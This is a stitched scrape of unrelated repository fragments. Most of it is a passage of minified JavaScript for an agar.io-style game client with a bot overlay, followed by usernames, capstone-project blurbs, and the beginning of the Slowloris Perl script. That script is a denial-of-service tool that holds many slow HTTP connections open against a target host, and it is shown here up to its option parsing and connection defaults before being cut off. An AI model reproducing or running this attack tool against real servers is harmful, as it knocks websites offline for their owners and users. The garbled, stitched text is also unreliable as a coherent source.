i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new ja(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.u(dText[i]); var textRender = text.G(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { nbSeconds = (currentDate.getSeconds() + (currentDate.getMinutes() * 60) + (currentDate.getHours() * 60 * 60)) - (lifeTimer.getSeconds() + (lifeTimer.getMinutes() * 60) + (lifeTimer.getHours() * 60 * 60)); } bestTime = Math.max(nbSeconds, bestTime); var debugStrings = []; debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Server: " + serverIP); debugStrings.push("Survived for: " + nbSeconds + " seconds"); if (getPlayer().length > 0) { debugStrings.push("Location: " + Math.floor(getPlayer()[0].x) + ", " + Math.floor(getPlayer()[0].y)); } var offsetValue = 20; var text = new ja(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.u(debugStrings[i]); var textRender = text.G(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } } function cb() { e.fillStyle = ha ? '#111111' : '#F2FBFF'; e.fillRect(0, 0, p, q); e.save(); e.strokeStyle = ha ? '#AAAAAA' : '#000000'; e.globalAlpha = 0.2; e.scale(g, g); for (var a = p / g, b = q / g, c = - 0.5 + ( - s + a / 2) % 50; c < a; c += 50) e.beginPath(), e.moveTo(c, 0), e.lineTo(c, b), e.stroke(); for (c = - 0.5 + ( - t + b / 2) % 50; c < b; c += 50) e.beginPath(), e.moveTo(0, c), e.lineTo(a, c), e.stroke(); e.restore() } function eb() { if (Aa && wa.width) { var a = p / 5; e.drawImage(wa, 5, 5, a, a) } } function db() { for (var a = 0, b = 0; b < m.length; b++) a += m[b].n * m[b].n; return a } function Ja() { w = null; if (null != x || 0 != A.length) if (null != x || ka) { w = document.createElement('canvas'); var a = w.getContext('2d'), b = 60, b = null == x ? b + 24 * A.length : b + 180, c = Math.min(200, 0.3 * p) / 200; w.width = 200 * c; w.height = b * c; a.scale(c, c); a.globalAlpha = 0.4; a.fillStyle = '#000000'; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = '#FFFFFF'; c = null; c = 'Leaderboard'; a.font = '30px Ubuntu'; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == x) for (a.font = '20px Ubuntu', b = 0; b < A.length; ++b) c = A[b].name || 'An unnamed cell', ka || (c = 'An unnamed cell'), - 1 != F.indexOf(A[b].id) ? (m[0].name && (c = m[0].name), a.fillStyle = '#FFAAAA') : a.fillStyle = '#FFFFFF', c = b + 1 + '. ' + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < x.length; ++b) { var d = c + x[b] * Math.PI * 2; a.fillStyle = fb[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e, l) { u.push(this); z[a] = this; this.id = a; this.p = this.x = b; this.q = this.y = c; this.o = this.size = d; this.color = e; this.a = [ ]; this.l = [ ]; this.R(); this.Z(l) } function ja(a, b, c, d) { a && (this.r = a); b && (this.N = b); this.P = !!c; d && (this.s = d) } var $ = h.location.protocol, Va = 'https:' == $, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], originalName = "NotReallyABot", sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, ma, e, B, p, q, L = null, r = null, s = 0, t = 0, F = [ ], m = [ ], z = { }, u = [ ], H = [ ], A = [ ], T = 0, U = 0, X = - 1, Y = - 1, bb = 0, G = 0, E = null, da = 0, ea = 0, fa = 10000, ga = 10000, g = 1, v = null, Oa = !0, ka = !0, xa = !1, ta = !1, I = 0, ha = !1, Pa = !1, P = s = ~~((da + fa) / 2), Q = t = ~~((ea + ga) / 2), R = 1, M = '', x = null, la = !1, sa = !1, qa = 0, ra = 0, ba = 0, ca = 0, Qa = 0, fb = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ], va = !1, D = 1, Aa = 'ontouchstart' in h && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent), wa = new Image; wa.src = 'img/split.png'; var Ra = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == Ra || null == Ra.getContext || null == h.localStorage) alert('You browser does not support this game, we recommend you to use Firefox to play this'); else { var Z = null; h.setNick = function (a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Ga(); E = a; Ia(); I = 0 }; h.setRegion = V; h.setSkins = function (a) { Oa = a }; h.setNames = function (a) { ka = a }; h.setDarkTheme = function (a) { ha = a }; h.setColors = function (a) { xa = a }; h.setShowMass = function (a) { Pa = a }; h.spectate = function () { E = null; C(1); Ga() }; h.setGameMode = function (a) { a != M && (M = a, W()) }; h.setAcid = function (a) { va = a }; null != h.localStorage && (null == h.localStorage.AB8 && (h.localStorage.AB8 = 0 + ~~(100 * Math.random())), Qa = + h.localStorage.AB8, h.ABGroup = Qa); f.get($ + '//gc.agar.io', function (a) { var b = a.split(' '); a = b[0]; b = b[1] || ''; - 1 == 'DE IL PL HU BR AT UA'.split(' ').indexOf(a) && ya.push('nazi'); - 1 == ['UA'].indexOf(a) && ya.push('ussr'); S.hasOwnProperty(a) && ('string' == typeof S[a] ? v || V(S[a]) : S[a].hasOwnProperty(b) && (v || V(S[a][b]))) }, 'text'); setTimeout(function () { }, 300000); var S = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH: 'EU-London', KN: 'US-Atlanta', LC: 'US-Atlanta', MF: 'US-Atlanta', PM: 'US-Atlanta', VC: 'US-Atlanta', WS: 'SG-Singapore', SM: 'EU-London', ST: 'EU-London', SA: 'EU-London', SN: 'EU-London', RS: 'EU-London', SC: 'EU-London', SL: 'EU-London', SG: 'JP-Tokyo', SX: 'US-Atlanta', SK: 'EU-London', SI: 'EU-London', SB: 'SG-Singapore', SO: 'EU-London', ZA: 'EU-London', SS: 'EU-London', ES: 'EU-London', LK: 'JP-Tokyo', SD: 'EU-London', SR: 'BR-Brazil', SJ: 'EU-London', SZ: 'EU-London', SE: 'EU-London', CH: 'EU-London', SY: 'EU-London', TW: 'JP-Tokyo', TJ: 'JP-Tokyo', TZ: 'EU-London', TH: 'JP-Tokyo', TL: 'JP-Tokyo', TG: 'EU-London', TK: 'SG-Singapore', TO: 'SG-Singapore', TT: 'US-Atlanta', TN: 'EU-London', TR: 'TK-Turkey', TM: 'JP-Tokyo', TC: 'US-Atlanta', TV: 'SG-Singapore', UG: 'EU-London', UA: 'EU-London', AE: 'EU-London', GB: 'EU-London', US: { AL: 'US-Atlanta', AK: 'US-Fremont', AZ: 'US-Fremont', AR: 'US-Atlanta', CA: 'US-Fremont', CO: 'US-Fremont', CT: 'US-Atlanta', DE: 'US-Atlanta', FL: 'US-Atlanta', GA: 'US-Atlanta', HI: 'US-Fremont', ID: 'US-Fremont', IL: 'US-Atlanta', IN: 'US-Atlanta', IA: 'US-Atlanta', KS: 'US-Atlanta', KY: 'US-Atlanta', LA: 'US-Atlanta', ME: 'US-Atlanta', MD: 'US-Atlanta', MA: 'US-Atlanta', MI: 'US-Atlanta', MN: 'US-Fremont', MS: 'US-Atlanta', MO: 'US-Atlanta', MT: 'US-Fremont', NE: 'US-Fremont', NV: 'US-Fremont', NH: 'US-Atlanta', NJ: 'US-Atlanta', NM: 'US-Fremont', NY: 'US-Atlanta', NC: 'US-Atlanta', ND: 'US-Fremont', OH: 'US-Atlanta', OK: 'US-Atlanta', OR: 'US-Fremont', PA: 'US-Atlanta', RI: 'US-Atlanta', SC: 'US-Atlanta', SD: 'US-Fremont', TN: 'US-Atlanta', TX: 'US-Atlanta', UT: 'US-Fremont', VT: 'US-Atlanta', VA: 'US-Atlanta', WA: 'US-Fremont', WV: 'US-Atlanta', WI: 'US-Atlanta', WY: 'US-Fremont', DC: 'US-Atlanta', AS: 'US-Atlanta', GU: 'US-Atlanta', MP: 'US-Atlanta', PR: 'US-Atlanta', UM: 'US-Atlanta', VI: 'US-Atlanta' }, UM: 'SG-Singapore', VI: 'US-Atlanta', UY: 'BR-Brazil', UZ: 'JP-Tokyo', VU: 'SG-Singapore', VE: 'BR-Brazil', VN: 'JP-Tokyo', WF: 'SG-Singapore', EH: 'EU-London', YE: 'JP-Tokyo', ZM: 'EU-London', ZW: 'EU-London' }; h.connect = Ha; //UPDATE window.getDarkBool = function() { return ha; } window.getMassBool = function() { return Pa; } window.getMemoryCells = function() { return interNodes; } window.getCellsArray = function() { return u; } window.getCells = function() { return z; } window.getPlayer = function() { return m; } window.getWidth = function() { return p; } window.getHeight = function() { return q; } window.getRatio = function() { return g; } window.getOffsetX = function() { return P; } window.getOffsetY = function() { return Q; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return X; } window.getPointY = function() { return Y; } window.getMouseX = function() { return T; } window.getMouseY = function() { return U; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } window.getLastUpdate = function() { return G; } window.setPoint = function(x, y) { X = x; Y = y; } window.createFake = function(a, b, c, d, e, f) { var n = new Ka(a, b, c, d, e, f); return n; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } var aa = 500, La = - 1, Ma = - 1, w = null, y = 1, ia = null, J = { }, ya = 'poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;hitler;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook'.split(';'), gb = [ '8', 'nasa' ], hb = [ 'm\'blob' ]; Ka.prototype = { id: 0, a: null, //points l: null, //pointsAcc name: null, //name k: null, //nameCache J: null, //sizeCache x: 0, y: 0, size: 0, p: 0, //ox q: 0, //oy o: 0, //oSize D: 0, //nx F: 0, //ny n: 0, //nSize W: 0, //drawTime L: 0, //updateTime ja: 0, ba: 0, A: !1, d: !1, j: !1, M: !0, //UPDATE updateCode: 0, danger: false, dangerTimeOut: 0, S: function () { var a; for (a = 0; a < u.length; a++) if (u[a] == this) { u.splice(a, 1); break } delete z[this.id]; a = m.indexOf(this); - 1 != a && (ta = !0, m.splice(a, 1)); a = F.indexOf(this.id); - 1 != a && F.splice(a, 1); this.A = !0; H.push(this) }, h: function () { return Math.max(~~(0.3 * this.size), 24) }, Z: function (a) { if (this.name = a) null == this.k ? this.k = new ja(this.h(), '#FFFFFF', !0, '#000000') : this.k.H(this.h()), this.k.u(this.name) }, R: function () { for (var a = this.C(); this.a.length > a; ) { var b = ~~(Math.random() * this.a.length); this.a.splice(b, 1); this.l.splice(b, 1) } 0 == this.a.length && 0 < a && (this.a.push({ Q: this, e: this.size, x: this.x, y: this.y }), this.l.push(Math.random() - 0.5)); for (; this.a.length < a; ) { var b = ~~(Math.random() * this.a.length), c = this.a[b]; this.a.splice(b, 0, { Q: this, e: c.e, x: c.x, y: c.y }); this.l.splice(b, 0, this.l[b]) } }, C: function () { var a = 10; 20 > this.size && (a = 0); this.d && (a = 30); var b = this.size; this.d || (b *= g); b *= y; this.W & 32 && (b *= 0.25); return ~~Math.max(b, a) }, ha: function () { this.R(); for (var a = this.a, b = this.l, c = a.length, d = 0; d < c; ++d) { var e = b[(d - 1 + c) % c], l = b[(d + 1) % c]; b[d] += (Math.random() - 0.5) * (this.j ? 3 : 1); b[d] *= 0.7; 10 < b[d] && (b[d] = 10); - 10 > b[d] && (b[d] = - 10); b[d] = (e + l + 8 * b[d]) / 10 } for (var k = this, h = this.d ? 0 : (this.id / 1000 + G / 10000) % (2 * Math.PI), d = 0; d < c; ++d) { var f = a[d].e, e = a[(d - 1 + c) % c].e, l = a[(d + 1) % c].e; if (15 < this.size && null != L && 20 < this.size * g) { var m = !1, p = a[d].x, q = a[d].y; L.ia(p - 5, q - 5, 10, 10, function (a) { a.Q != k && 25 > (p - a.x) * (p - a.x) + (q - a.y) * (q - a.y) && (m = !0) }); !m && (a[d].x < da || a[d].y < ea || a[d].x > fa || a[d].y > ga) && (m = !0); m && (0 < b[d] && (b[d] = 0), b[d] -= 1) } f += b[d]; 0 > f && (f = 0); f = this.j ? (19 * f + this.size) / 20 : (12 * f + this.size) / 13; a[d].e = (e + l + 8 * f) / 10; e = 2 * Math.PI / c; l = this.a[d].e; this.d && 0 == d % 2 && (l += 5); a[d].x = this.x + Math.cos(e * d + h) * l; a[d].y = this.y + Math.sin(e * d + h) * l } }, K: function () { var a; a = (G - this.L) / 120; a = 0 > a ? 0 : 1 < a ? 1 : a; var b = 0 > a ? 0 : 1 < a ? 1 : a; this.h(); if (this.A && 1 <= b) { var c = H.indexOf(this); - 1 != c && H.splice(c, 1) } this.x = a * (this.D - this.p) + this.p; this.y = a * (this.F - this.q) + this.q; this.size = b * (this.n - this.o) + this.o; return b }, I: function () { return this.x + this.size + 40 < s - p / 2 / g || this.y + this.size + 40 < t - q / 2 / g || this.x - this.size - 40 > s + p / 2 / g || this.y - this.size - 40 > t + q / 2 / g ? !1 : !0 }, T: function () { if (this.I()) { var a = !this.d && !this.j && 0.4 > g; 5 > this.C() && (a = !0); if (this.M && !a) for (var b = 0; b < this.a.length; b++) this.a[b].e = this.size; this.M = a; e.save(); this.ba = G; b = this.K(); this.A && (e.globalAlpha *= 1 - b); e.lineWidth = 10; e.lineCap = 'round'; e.lineJoin = this.d ? 'miter' : 'round'; xa ? (e.fillStyle = '#FFFFFF', e.strokeStyle = '#AAAAAA') : (e.fillStyle = this.color, e.strokeStyle = this.color); if (a) e.beginPath(), e.arc(this.x, this.y, this.size, 0, 2 * Math.PI, !1); else { this.ha(); e.beginPath(); var c = this.C(); e.moveTo(this.a[0].x, this.a[0].y); for (b = 1; b <= c; ++b) { var d = b % c; e.lineTo(this.a[d].x, this.a[d].y) } } e.closePath(); c = this.name.toLowerCase(); !this.j && Oa && ':teams' != M ? - 1 != ya.indexOf(c) ? (J.hasOwnProperty(c) || (J[c] = new Image, J[c].src = 'skins/' + c + '.png'), b = 0 != J[c].width && J[c].complete ? J[c] : null) : b = null : b = null; b = (d = b) ? - 1 != hb.indexOf(c) : !1; a || e.stroke(); e.fill(); null == d || b || (e.save(), e.clip(), e.drawImage(d, this.x - this.size, this.y - this.size, 2 * this.size, 2 * this.size), e.restore()); (xa || 15 < this.size) && !a && (e.strokeStyle = '#000000', e.globalAlpha *= 0.1, e.stroke()); e.globalAlpha = 1; null != d && b && e.drawImage(d, this.x - 2 * this.size, this.y - 2 * this.size, 4 * this.size, 4 * this.size); b = - 1 != m.indexOf(this); a = ~~this.y; if ((ka || b) && this.name && this.k && (null == d || - 1 == gb.indexOf(c))) { d = this.k; d.u(this.name); d.H(this.h()); c = Math.ceil(10 * g) / 10; d.$(c); var d = d.G(), f = ~~(d.width / c), l = ~~(d.height / c); e.drawImage(d, ~~this.x - ~~(f / 2), a - ~~(l / 2), f, l); a += d.height / 2 / c + 4 } Pa && (b || 0 == m.length && (!this.d || this.j) && 20 < this.size) && (null == this.J && (this.J = new ja(this.h() / 2, '#FFFFFF', !0, '#000000')), b = this.J, b.H(this.h() / 2), b.u(~~(this.size * this.size / 100)), c = Math.ceil(10 * g) / 10, b.$(c), d = b.G(), f = ~~(d.width / c), l = ~~(d.height / c), e.drawImage(d, ~~this.x - ~~(f / 2), a - ~~(l / 2), f, l)); e.restore() } } }; ja.prototype = { w: '', N: '#000000', P: !1, s: '#000000', r: 16, m: null, O: null, g: !1, v: 1, H: function (a) { this.r != a && (this.r = a, this.g = !0) }, $: function (a) { this.v != a && (this.v = a, this.g = !0) }, setStrokeColor: function (a) { this.s != a && (this.s = a, this.g = !0) }, u: function (a) { a != this.w && (this.w = a, this.g = !0) }, G: function () { null == this.m && (this.m = document.createElement('canvas'), this.O = this.m.getContext('2d')); if (this.g) { this.g = !1; var a = this.m, b = this.O, c = this.w, d = this.v, e = this.r, l = e + 'px Ubuntu'; b.font = l; var k = ~~(0.2 * e); a.width = (b.measureText(c).width + 6) * d; a.height = (e + k) * d; b.font = l; b.scale(d, d); b.globalAlpha = 1; b.lineWidth = 3; b.strokeStyle = this.s; b.fillStyle = this.N; this.P && b.strokeText(c, 3, e - k / 2); b.fillText(c, 3, e - k / 2) } return this.m } }; Date.now || (Date.now = function () { return (new Date).getTime() }); var Ua = { ca: function (a) { function b(a, b, c, d, e) { this.x = a; this.y = b; this.f = c; this.c = d; this.depth = e; this.items = [ ]; this.b = [ ] } var c = a.da || 2, d = a.ea || 4; b.prototype = { x: 0, y: 0, f: 0, c: 0, depth: 0, items: null, b: null, B: function (a) { for (var b = 0; b < this.items.length; ++b) { var c = this.items[b]; if (c.x >= a.x && c.y >= a.y && c.x < a.x + a.f && c.y < a.y + a.c) return !0 } if (0 != this.b.length) { var d = this; return this.V(a, function (b) { return d.b[b].B(a) }) } return !1 }, t: function (a, b) { for (var c = 0; c < this.items.length; ++c) b(this.items[c]); if (0 != this.b.length) { var d = this; this.V(a, function (c) { d.b[c].t(a, b) }) } }, i: function (a) { 0 != this.b.length ? this.b[this.U(a)].i(a) : this.items.length >= c && this.depth < d ? (this.aa(), this.b[this.U(a)].i(a)) : this.items.push(a) }, U: function (a) { return a.x < this.x + this.f / 2 ? a.y < this.y + this.c / 2 ? 0 : 2 : a.y < this.y + this.c / 2 ? 1 : 3 }, V: function (a, b) { return a.x < this.x + this.f / 2 && (a.y < this.y + this.c / 2 && b(0) || a.y >= this.y + this.c / 2 && b(2)) || a.x >= this.x + this.f / 2 && (a.y < this.y + this.c / 2 && b(1) || a.y >= this.y + this.c / 2 && b(3)) ? !0 : !1 }, aa: function () { var a = this.depth + 1, c = this.f / 2, d = this.c / 2; this.b.push(new b(this.x, this.y, c, d, a)); this.b.push(new b(this.x + c, this.y, c, d, a)); this.b.push(new b(this.x, this.y + d, c, d, a)); this.b.push(new b(this.x + c, this.y + d, c, d, a)); a = this.items; this.items = [ ]; for (c = 0; c < a.length; c++) this.i(a[c]) }, clear: function () { for (var a = 0; a < this.b.length; a++) this.b[a].clear(); this.items.length = 0; this.b.length = 0 } }; var e = { x: 0, y: 0, f: 0, c: 0 }; return { root: new b(a.X, a.Y, a.fa - a.X, a.ga - a.Y, 0), i: function (a) { this.root.i(a) }, t: function (a, b) { this.root.t(a, b) }, ia: function (a, b, c, d, f) { e.x = a; e.y = b; e.f = c; e.c = d; this.root.t(e, f) }, B: function (a) { return this.root.B(a) }, clear: function () { this.root.clear() } } } }; h.onload = Sa } }) (window, window.jQuery);
zhangtyzzz
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JustKovalchuk
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vvoo21
In this capstone project, I built an online website based on CC Global Summit 2015 by Cindy Shin. Build withHTML/CSS & JavaScript best practices.
billymohajeri
In this capstone project, I built an online website based on CC Global Summit 2015 by Cindy Shin. Build with HTML/CSS & JavaScript best practices.
LRAQI70
#!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc:::: CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc::: CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc:: CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc:::: CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc: ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } use Data::Dumper; warn Dumper \$host; unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => 